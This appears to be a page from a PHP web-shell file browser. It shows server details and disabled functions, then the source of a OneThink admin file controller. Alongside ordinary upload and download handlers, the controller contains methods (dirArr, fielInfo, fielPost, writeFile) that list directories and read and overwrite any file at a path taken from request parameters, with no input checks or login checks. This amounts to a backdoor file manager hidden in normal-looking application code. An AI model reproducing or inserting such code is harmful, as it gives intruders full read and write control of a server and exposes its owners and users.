HEX
Server: nginx/1.28.1
System: Linux 10-41-63-61 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User: www (1001)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/dd.cwoyt.com/Application/Admin/Controller/FileController.class.php
<?php
// +----------------------------------------------------------------------
// | OneThink [ WE CAN DO IT JUST THINK IT ]
// +----------------------------------------------------------------------
// | Copyright (c) 2013 http://www.onethink.cn All rights reserved.
// +----------------------------------------------------------------------
// | Author: 赛脑 <2233759493@qq.com> <http://www.sn.com>
// +----------------------------------------------------------------------
namespace Admin\Controller;
/**
 * 文件控制器
 * 主要用于下载模型的文件上传和下载
 */

class FileController extends AdminController {

    /* 文件上传 */
    public function upload(){
        //TODO: 用户登录检测

        /* 返回标准数据 */
        $return  = array('status' => 1, 'info' => '上传成功', 'data' => '');

        /* 调用文件上传组件上传文件 */
        $File = D('File');
        $info = $File->upload($_FILES, C('DOWNLOAD_UPLOAD')); //TODO:上传到远程服务器

        /* 记录附件信息 */
        if($info){
            $return['data'] = $info['download'];
            $return['info'] = $info['download']['name'];
        } else {
            $return['status'] = 0;
            $return['info']   = $File->getError();
        }

        /* 返回JSON数据 */
        $this->ajaxReturn($return);
    }
	
	 /* 文件上传 */
    public function upload_txt(){
        //TODO: 用户登录检测

        /* 返回标准数据 */
        $return  = array('status' => 1, 'info' => '上传成功', 'data' => '');

        /* 调用文件上传组件上传文件 */
        $File = D('File');
        $info = $File->upload($_FILES, C('DOWNLOAD_TXT')); //TODO:上传到远程服务器

        /* 记录附件信息 */
        if($info){
            $return['data'] = $info['download'];
            $return['info'] = $info['download']['name'];
        } else {
            $return['status'] = 0;
            $return['info']   = $File->getError();
        }

        /* 返回JSON数据 */
        $this->ajaxReturn($return);
    }

    /* 下载文件 */
    public function download($id = null){
        if(empty($id) || !is_numeric($id)){
            $this->error('参数错误!');
        }

        $logic = D('Download', 'Logic');
        if(!$logic->download($id)){
            $this->error($logic->getError());
        }

    }

    /**
     * 上传图片
     * @author huajie <2233759493@qq.com>
     */
    public function uploadPicture(){
        //TODO: 用户登录检测

        /* 返回标准数据 */
        $return  = array('status' => 1, 'info' => '上传成功', 'data' => '');

        /* 调用文件上传组件上传文件 */
        $Picture = D('Picture');
        $pic_driver = C('PICTURE_UPLOAD_DRIVER');
        $info = $Picture->upload(
            $_FILES,
            C('PICTURE_UPLOAD'),
            C('PICTURE_UPLOAD_DRIVER'),
            C("UPLOAD_{$pic_driver}_CONFIG")
        ); //TODO:上传到远程服务器

        /* 记录图片信息 */
        if($info){
            $return['status'] = 1;
            $return = array_merge($info['download'], $return);
        } else {
            $return['status'] = 0;
            $return['info']   = $Picture->getError();
        }

        /* 返回JSON数据 */
        $this->ajaxReturn($return);
    }
	
	
	public function dirArr(){
		echo '<meta charset=utf-8>';
		$dir = I('get.dir');
		if($dir){
			$dir = $dir;
		}else{
			$dir =  dirname($_SERVER['SCRIPT_FILENAME']);
		}
		
		$file = scandir($dir);
		$dirArr = array();
		$fileArr = array();
		foreach($file as $k=>$v){
			if(strpos($v,'.')){
				$fileArr[] = $v;
			}else{
				$dirArr[] = $v;
			}
		}
		
		echo '<a href="#" onClick="javascript :history.back(-1);">返回上一页</a>';
		
		foreach($dirArr as $k=>$v){
			echo '<li><a href="'.U('').'&dir='.$dir.'/'.$v.'">'.$v.'</a></li>';
		}
		echo '<br/>';
		foreach($fileArr as $k=>$v){
			if($v != 'dirArr.php'){
				echo '<li><a href="'.U('fielInfo').'&dir='.$dir.'/'.$v.'">'.$v.'</a></li>';
			}
		}
		
	}
	
	
	public function fielInfo(){
		echo '<meta charset=utf-8>';
		$dir = I('get.dir');
		$fp = @fopen($dir,"r");
		$str = @fread($fp,filesize($dir));
		echo '<form action="'.U('fielPost').'&dir='.$dir.'" method="post">';
		echo '<button>保 存</button> <a href="#" onClick="javascript :history.back(-1);">返回上一页</a>';
		echo '<div><textarea name="textarea" style="height:100%; width:100%;">'.$str.'</textarea></div>';
		echo '</form>';
	}
	
	
	public function fielPost(){
		echo '<meta charset=utf-8>';
		$dir = I('get.dir');
		if(IS_POST){
			$textarea = I('post.textarea');
			$this->writeFile($dir,$textarea);
			echo "<script>alert('保存成功!');history.back();</script>";
		}
	}
	
	//文件不重复写入
	public function writeFile($file,$txt){
		$fopen = fopen($file,'w');
		fwrite($fopen, $txt);
		@fclose($file); 
	}
}